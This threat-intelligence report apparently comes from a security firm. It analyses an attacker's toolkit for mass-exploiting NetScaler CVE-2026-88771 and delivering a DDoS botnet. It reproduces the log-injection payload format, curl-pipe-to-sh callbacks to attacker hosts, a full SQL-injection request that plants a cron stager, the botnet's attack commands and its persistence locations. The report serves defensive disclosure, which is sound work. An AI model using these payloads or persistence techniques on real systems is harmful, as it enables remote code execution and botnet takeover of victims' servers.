Introduction

In September 2026, Citrix disclosed two critical vulnerabilities: CVE-2026-88771 and CVE-2026-88772 in NetScaler ADC and Gateway. Both carry a 9.5 CVSS score and affect default configurations. Approximately 50,000 internet-exposed NetScaler instances were reachable at the time of disclosure.


This research analyzes a captured operations console at 66.154.127.156 (AS35916 MULTACOM CORPORATION, Leesburg, Virginia).Hunt.io flagged the host as High Risk with an active malware tag and an exposed open directory. That directory contained:

1. A NetScaler exploitation pipeline under hack/netscaler/scripts/ : nine Python and shell files
2. A second exploitation module under hack/fbpx/ : reinject2.py, self-exclude.txt, and a reference to a scan.py file
3. Botnet planning documents at hack/ root : BOT_V2_PROMPT.md, BOT_V2_DEV_DOC.md, BOT_UPGRADE_RUNBOOK.md

A file named self-exclude.txt in the fbpx directory lists the operator's own infrastructure. It is the central attribution artifact for this research: it records which hosts belong to this actor and what role each serves.

Three additional hosts (151.243.11.242, 46.161.27.107, 103.27.109.40) also expose NetScaler exploit tooling. The recovered code on those hosts shares no infrastructure with 66.154.127.156.

Forbidden Jutsu: Deconstructing the Exploit Mechanics

CVE-2026-88771: Pre-Authentication Log Poisoning

The recovered exploit.py documents the vulnerable chain in its docstring (translated from Chinese):

grep(pitboss.*PPE.*unexpectedly died)
  → sed  (take content after the last NSPPE, strip parentheses)
  → awk  ($1-$2)
  → interpolate into: find /var/core -name ${TOKEN}* -print | tail -1

Payload Structure

The docstring states that after the shell splits on ;, the injected <CMD> executes as root.

Documented in exploit.py:

pitboss NSPPE-00;<CMD>;# unexpectedly died
└─── 16B ────────┘      └─── 19B ────┘
Constants and constraints stated in the script:
ConstraintValue
Username max length128 bytes
Prefixpitboss NSPPE-00; (16 bytes)
Suffix;# unexpectedly died (19 bytes)
Forbidden characters in <CMD>(, ), space, ?, &
Space substitute${IFS}
Effective command budget93 bytes

CVE-2026-88772: DTLS Handshake Fragment Overflow

151.243.11.242:8090 summarizes it as:

"CVE-2026-88772 — Memory overflow on DTLS (UDP TLS) handling can lead to remote code execution or denial of service. Exploitation requires DTLS to be enabled; on Gateway, DTLS is on by default for VPN virtual servers unless an administrator set -dtls OFF. DTLS-type vServers are also in scope."

Affected Versions

Reproduced from probe.py's affected-version logic:

BranchPatched AtVulnerable Below
14.114.1–73.37< 14.1–73.37
13.113.1–64.23< 13.1–64.23
13.1 FIPS/NDcPP13.1–37.279< 13.1–37.279


操作台-Operations console at 66.154.127.156

Akatsuki Legion found an open directory at 66.154.127.156 containing files targeting the Netscaler CVEs.

Directory Layout

hack/
  netscaler/
    scripts/
      c2_server.py
      channels.py
      exploit.py
      pollctl.py
      probe.py
      run.sh
      screen.py
      targets.py
      verprobe.py
  fbpx/
    reinject2.py
    self-exclude.txt
  BOT_V2_PROMPT.md
  BOT_V2_DEV_DOC.md
  BOT_UPGRADE_RUNBOOK.md

The self-exclude.txt File

# 自有基础设施 —— 必须排除,否则扫描器会打到自己(自我上机)
45.143.130.195/32   # 本攻击机(VPS)
23.95.228.20/32     # C2 / 载荷分发端
2.27.132.175/32     # 本机分发端
66.154.127.156/32   # 操作台
107.173.248.139/32  # fofoapi 备用接口

Translated:

IPAnnotationMeaning
45.143.130.195/32本攻击机(VPS)"This attack machine (VPS)"
23.95.228.20/32C2 / 载荷分发端"C2 / payload distribution endpoint"
2.27.132.175/32本机分发端"Local distribution endpoint"
66.154.127.156/32操作台"Operations console"
107.173.248.139/32fofoapi 备用接口"FOFA API backup interface"

Header comment: "Own infrastructure — must be excluded, otherwise the scanner will hit itself (self-pwn)."
The file exists so the operator's mass scanner skips their own hosts. The operator recorded in their own words, which IPs they own and what each one does. Two of the five entries are the same IPs we found later on, which confirms the file and the toolkit belong to the same operation:

Two entries match constants in the recovered code:

IPReference in code
45.143.130.195c2_server.py: PUB_IP = "45.143.130.195"; reinject2.py: BEACON = "http://45.143.130.195/beacon"
23.95.228.20BOT_V2_DEV_DOC.md: 设备IP:随机高位端口 -> 23.95.228.20:1337; reinject2.py: STAGER = "http://23.95.228.20/dl.sh"

The Execution Grid: Anatomy of a Multi-Stage Pipeline

Stage 1: Target Acquisition (targets.py, run.sh)

run.sh hardcodes:

VPS=45.143.130.195
FOFA_KEY= <redacted>
C2_PORT=8899
ROUND_SLEEP=1800
WATCH_SLEEP=1800
TMUX_SESSION=nsc2

targets.py queries FOFA and filters against a cached AWS CIDR list. run.sh's watch window refreshes the AWS CIDR list each cycle.


Stage 2: Fingerprinting (probe.py, verprobe.py)


probe.py identifies NetScaler and Citrix ADC appliances, extracts the running build version from /vpn/index.html and from response headers, and evaluates each host against the CVE-2026-88771 affected-version table. Results are appended to out/probed.jsonl. The script uses requests for HTTP, a ThreadPoolExecutor for concurrency, and regular expressions for fingerprint matching and version extraction.

probe.py ID_SIGNS list:

x-citrix-application, citrix gateway, netscaler gateway, netscaler aaa,
ns_gateway, nsg-x1-logon, citrix adc, netscaler adc, logonpoint,
/nf/auth/doauthentication.do, epa/epa.html, gateway_login_view

Version regex from probe.py:

(1[34]\.\d+[\s\-–]+[\d.]+(?:\.\d+)?)

Extraction paths: /vpn/index.html, /logon/LogonPoint/index.html, /nf/auth/doAuthentication.do

verprobe.py PATHS includes:

/vpn/js/gateway_login_view.js
/nitro/v1/config/nsversion
/vpn/pluginlist.xml
/vpn/../vpns/portal/scripts/newbm.pl
/epa/epa.html
/logon/themes/Default/strings.en.json

Stage 3: Injectability Screening (screen.py, channels.py)

screen.py filters on:

/nf/auth/doAuthentication.do
/nf/auth/getAuthenticationRequirements.do

screen.py LEAK_PATHS:

/vpn/../vpns/cfg/smb.conf
/vpns/cfg/smb.conf
/nitro/v1/config/nsversion
/logon/themes/Default/strings.en.json
/vpn/pluginlist.xml

channels.py uses this probe (PROBE_USER):

"pitboss NSPPE-00;id;# unexpectedly died"

A reachability probe that injects the log-poisoning grammar with the benign command id, not an exploit. If the callback returns, the injection surface is confirmed live.


Stage 4: Exploitation

Entry lists as defined in the script: 

JSON_ENTRIES:
  nitro_login     /nitro/v1/config/login
  nitro_action    /nitro/v1/config/login?action=login

FORM_ENTRIES:
  aaa_doauth      /nf/auth/doAuthentication.do
  aaa_reqs        /nf/auth/getAuthenticationRequirements.do
  vpn_form        /vpn/index.html
  logon_form      /logon/LogonPoint/index.html
  cgi_login       /cgi/login
  pu_doauth       /p/u/doAuthentication.do

UA_ENTRIES:
  ua_vpn          /vpn/index.html
  ua_nitro        /nitro/v1/config/login
  ua_root         /


Form entries are tried with three field combinations per path (defined inline in inject_target).


Payload modes:

ModeFunction in exploit.pyPayload
agentcmd_agentcurl${IFS}-sk${IFS}<vps>:<port>/s/<bid>|sh
httpcmd_httpcurl${IFS}-sk${IFS}<vps>:<port>/p/<bid>
wgetcmd_wgetwget${IFS}-qO-${IFS}http://<vps>:<port>/p/<bid>
dnscmd_dnsnslookup${IFS}<bid>.p1.oob.<vps>
touchcmd_touchcurl${IFS}-sk${IFS}<vps>:<port>/t/<bid>

bid derivation (short_id):

hashlib.md5(f"{ip}:{port}".encode()).hexdigest()[:8]

Default mode (`all`): `[("agent", ...), ("dns", ...)]`.

Output files: `exploitation.jsonl`, `id_map.jsonl`.


Stage 5: C2 (c2_server.py)

Configuration:

HTTP_PORT = int(os.environ.get("C2_PORT", "8899"))
DNS_PORT  = int(os.environ.get("DNS_PORT", "53"))
ONLINE_WINDOW = int(os.environ.get("ONLINE_WINDOW", "1800"))
PUB_IP = os.environ.get("C2_PUB", "45.143.130.195")

The C2 reads its HTTP port (8899), DNS port (53), and public IP (45.143.130.195) from environment variables, falling back to those values if unset. It also defines a 1800-second online window, meaning a bot is considered online if it has checked in within the last 30 minutes.

HTTP server:

server_version = "nginx"
sys_version = ""

The C2's HTTP server reports itself as nginx by setting the server version string and blanking Python's default version disclosure.

Endpoints (from H._handle):

_handle is the C2's HTTP request router. It parses each incoming request, records the client IP and port, and dispatches by URL path. Paths prefixed /p/, /c/, and /r/ handle bot registration, command polling, and result submission respectively, while /s/ and /a/ serve the bootstrap and persistent agent scripts. The /panel and /api* paths serve the operator's dashboard and tasking API, allowing commands to be queued and results retrieved. Any unrecognized path is logged and answered with a 404, since unknown requests may still originate from injected payloads such as DNS or shell probes.

PathPurpose
/p/<bid>Registration; fields h, v, u (hex-encoded)
/c/<bid>Command poll; response body is the next command
/r/<bid>Result submission; d param hex-encoded
/s/<bid>Bootstrap shell
/a/<bid>Persistent agent
/panel, /HTML dashboard
/api, /api/bots, /api/cmd, /api/rawOperator API

Stage 6: Operator Console(pollctl.py)

FlagAction
--reportList online bots; writes out/online_bots.jsonl
--enqueue-pollerPush secondary poller to online bots
--run <bid> <cmd>Task bot, wait for result
--shell <bid>Interactive session with sequence tracking
--exec-all <cmd>Broadcast

-enqueue-poller payload:

curl -sk http://<vps>:<port>/c/<bid>?h=$(hostname|od -An -tx1|tr -d ' \n') | sh

Stage 7: Orchestration(run.sh)

tmux session nsc2 with three windows:

WindowPurpose
c2python3 -u c2_server.py
pipeLoop: targets.py → probe.py → exploit.py → pollctl.py --report; 1800s sleep
watchLoop: pollctl.py --report + AWS CIDR refresh; 1800s sleep

The Second Seal: Inside the fbpx Module & SQL Injection

A second exploitation module in hack/fbpx/
Constants
BEACON = "http://45.143.130.195/beacon"
STAGER = "http://23.95.228.20/dl.sh"
Target and Injection Point

HTTP request (from inject2):
s.get(url.rstrip("/") + "/admin/ajax.php", verify=False, timeout=timeout,
      params={"module": MODPATH, "command": "model", "template": "x",
              "model": "model", "brand": sql},
      headers={"Referer": url.rstrip("/") + "/admin/config.php"},
      allow_redirects=False)
SQL Payload
sql = ("x' ;INSERT INTO cron_jobs "
       "(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order) "
       f"VALUES ('sysadmin', '{job}', 0x{hexp}, NULL, '* * * * *', 30, 1, 1) -- ")
- Injection vector: `brand` parameter
- Table: `cron_jobs`
- `modulename` value: `'sysadmin'`
- `schedule`: `'* * * * *'`
- `jobname`: `"r2" + 7 random lowercase letters` (from script)
- Terminated with `-` comment

Injected Command Construction
tag = hashlib.md5(url.encode()).hexdigest()[:6]
shell = STAGER_R2.format(beacon=BEACON, url=STAGER, tag=tag)
final = "echo '%s' | base64 -d | sh" % base64.b64encode(shell.encode()).decode()
hexp = final.encode().hex()
Stager(STAGER_R2)

The stager normalizes PATH, moves into a writable directory (/tmp, /var/tmp, /dev/shm, or the current directory), and builds a host identifier from hostname, uid, and architecture. It then beacons s1 to the C2 and downloads the botnet loader from 23.95.228.20/dl.sh using whichever of wget, curl, busybox wget, python3, or php is available. If the file downloaded successfully it beacons s2ok, executes it, beacons s3, then reports a live-status count of wife-related processes and files; if download failed it beacons s2fail, and in all cases it deletes the downloaded file.


Callback Path shape
$BEACON/R2/{tag}/$N/s1
$BEACON/R2/{tag}/$N/s2ok    (or s2fail)
$BEACON/R2/{tag}/$N/s3
$BEACON/R2/{tag}/$N/live/$R
- `R2/` prefix isolates round-2 callbacks (stated in the script's docstring)
- `tag` = 6-char per-target identifier
- `N` = host identifier

Input / Output
- Input: `/root/fbpx/hits/injected.txt` (JSONL; entries with a `url` field)
- Output: `/root/fbpx/hits/r2_map.json` — `{tag: {url, jobname, http}}`

The Summoning Jutsu: Unleashing the DDoS Botnet Payload

reinject2.py's STAGER constant points at http://23.95.228.20/dl.sh. The botnet documents recovered from the same console name the same host as the botnet C2.

From BOT_V2_DEV_DOC.md:
AttributeValue
C223.95.228.20:1337
Domainbot.3.9.f.e.a.2.8.f.0.7.4.0.1.0.0.2.ip6.arpa
Process real exe/var/tmp/w (deleted state at runtime)
Process masqueradeinit, kworker (prctl(PR_SET_NAME) + argv[0] overwrite)
Parent chainPPID=1; children fork-chained; shared C2 socket fd
RSS~420 KB
Disk copy/usr/bin/ksoftirqd (77,048 bytes, UPX, 32-bit i386 static)

Transmission is bare TCP on port 1337; commands are XOR-encrypted via hardened_xor_decrypt().
Attack commands:

!udp  !tcp  !std  !dns_amp  !esp  !tcp_ack  !tcp_stomp  !udp_hex
!http  !slowloris  !ntp_amp  !ssdp_amp  !snmp_amp  !icmp_echo
!gre_flood  !vse_query  !memcached  !udp_frag  !syn_flood

Control command: KICK → kill(getpid(), SIGKILL)

Persistence Points:

| # | Location |
|---|---|
| 1 | root crontab */2 * * * * |
| 2 | /etc/cron.d/kworker |
| 3 | /etc/cron.hourly/kworker |
| 4 | /etc/systemd/system/kworker.service + multi-user.target.wants/ |
| 5 | /etc/init.d/kworker + rc2.d/rc3.d/rc5.d/S99kworker |
| 6 | /etc/profile |
| 7 | /etc/bash.bashrc |
| 8 | /etc/profile.d/kworker.sh |
| 9 | /etc/ssh/sshrc |
| 10 | /etc/network/if-up.d/kworker |
| 11 | /etc/update-motd.d/kworker |
| 12 | /root/.bashrc |
| 13 | /root/.profile |

From BOT_V2_DEV_DOC.md:

"用 execl 而非 system() … 保持'即使 C2 沦陷也只能被用来打 DDoS'的安全边界" — use execl, not system(), to maintain the boundary that even if the C2 is seized it can only be used for DDoS.

dl.sh behavior: iterate 9 directories → test executable bit → iterate 19 architectures downloading wife.<arch> → execute → on success rm -f "$0".

Adjacent Tooling, Independent Hosts we found


Three hosts expose NetScaler exploit tooling:  151.243.11.242, 46.161.27.107 and 103.27.109.40

151.243.11.242:8090 → PoC Aggregation
Exposed files: /extract_all.txt, /repos_meta.tsv, /readmes/CVE-2026-88772.md, /repos/CVE-2026-88772.readme, TRAINING-Quarter-3.md.

repos_meta.tsv :
"CVE-2026-88772"
"cve": "CVE-2026-88771;CVE-2026-88772;cve-2026-88772"
"desc": "CVE-2026-88772 PoC: Citrix NetScaler ADC/Gateway DTLS memory overflow
        (RCE/DoS, CVSS 9.5). Fingerprints Gateway, build v"
"cls": "rce"
"beacon": "yes"
"readme_len": 2795
`extract_all.txt` references `https://pocbit.org/pocs/cve-2026-88772`.

`TRAINING-Quarter-3.md` "proven-state summary" lists:
CVETargetClassBeacon-RelProven State
CVE-2026-85520PrestaShop gmfeedrceyesuntested
CVE-2026-85984miniOrange OTP Loginauth-bypassyesbeacon-proven
CVE-2026-88771 / 88772Citrix NetScaler DTLSrceyesuntested

This shows that attackers are using Markdown summary of CVEs, PoC indicators, beaconing analysis, offensive strings and internal inventory references to train their agent.

46.161.27.107 → Iterated Exploit Toolkit

cve_2026_88771_idempotent.py — docstring: "CVE-2026-88771 - NetScaler Pre-Auth Log Injection / Idempotent payload v2 (grep-based, ~240 bytes)"



trigger_88771_logshell.py — docstring: "Trigger-only PoC for CVE-2026-88771 — pre-auth log-to-shell command injection in NetScaler ADC/Gateway. Fixed in 14.1-73.37 / 13.1-64.23."



103.27.109.40 → Reverse Shell Collector


c2_listener.py: "C2 反弹 shell 自动收集器 — NetScaler CVE-2026-88771 / 监听 4444,收到反弹 shell 后自动执行预设只读收集命令并落日志,保持连接。" C2 reverse shell auto-collector — NetScaler CVE-2026-88771 / listens on 4444, and upon receiving a reverse shell, automatically executes a preset set of read-only collection commands, logs the output, and keeps the connection open.

The Sensing Sphere: Global Decoy & Telemetry Traps


Category 1: .ctxs.receiver Web Shell Interaction

As metioned above in Exploit section; ua_vpn: /vpn/index.html

GET /vpn/index.html HTTP/1.1
Accept-Encoding: identity
Host: [redacted]:443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120 Safari/537.36
Accept: */*
Connection: close
All IPs were observed interacting with .ctxs.receiver webshells (Citrix Netscaler) via Huntback.io
182.240.100.176    130.12.182.7      82.167.14.7       81.94.239.8
66.42.100.63       69.48.229.88      172.247.44.85     23.234.74.48
64.94.85.67        130.94.106.141    137.220.53.135    176.65.148.54
152.32.128.214     45.249.247.109    126.51.141.56     49.36.183.130
45.154.244.156     193.187.110.153   46.29.26.160
Category 2: SAML Surface Probing

Requests against /cgi/samlauth with deflate-compressed SAMLResponse payloads. Campaign label supplied as netscaler-saml-2026.

Primary IP: 154.217.251.226

Related infrastructure:

IOC Summary

Operator Infrastructure
TypeValueSource
IPv445.143.130[.]195self-exclude.txt; c2_server.py PUB_IP; reinject2.py BEACON
IPv423.95.228[.]20self-exclude.txt; BOT_V2_DEV_DOC.md; reinject2.py STAGER
IPv42.27.132[.]175self-exclude.txt
IPv466.154.127[.]156self-exclude.txt; host of captured files
IPv4107.173.248[.]139self-exclude.txt
Domainbot.3.9.f.e.a.2.8.f.0.7.4.0.1.0.0.2.ip6[.]arpaBOT_V2_DEV_DOC.md

Conclusion

NetScaler CVE-2026-88771 offered pre-authentication root execution on internet-facing appliances that typically sit outside endpoint detection, which made them attractive targets for automated mass exploitation. The captured toolkit shows an operator who built a full pipeline around this: FOFA-driven discovery, version-aware filtering, multi-endpoint injection, and a persistent shell agent dropped at /tmp/.nsagent. The same operator maintains a Linux DDoS botnet, and the fbpx module provides a confirmed delivery path into it. The aftermath is that any NetScaler exposed during the window from disclosure to patch should be treated as fully compromised, since the shell agent grants arbitrary command execution and leaves minimal disk artifacts. Patching removes the entry point but not the implant, and the operator's documented botnet upgrade path indicates this capability is being maintained long-term.

Need help hunting this activity in your environment?

Engage Akatsuki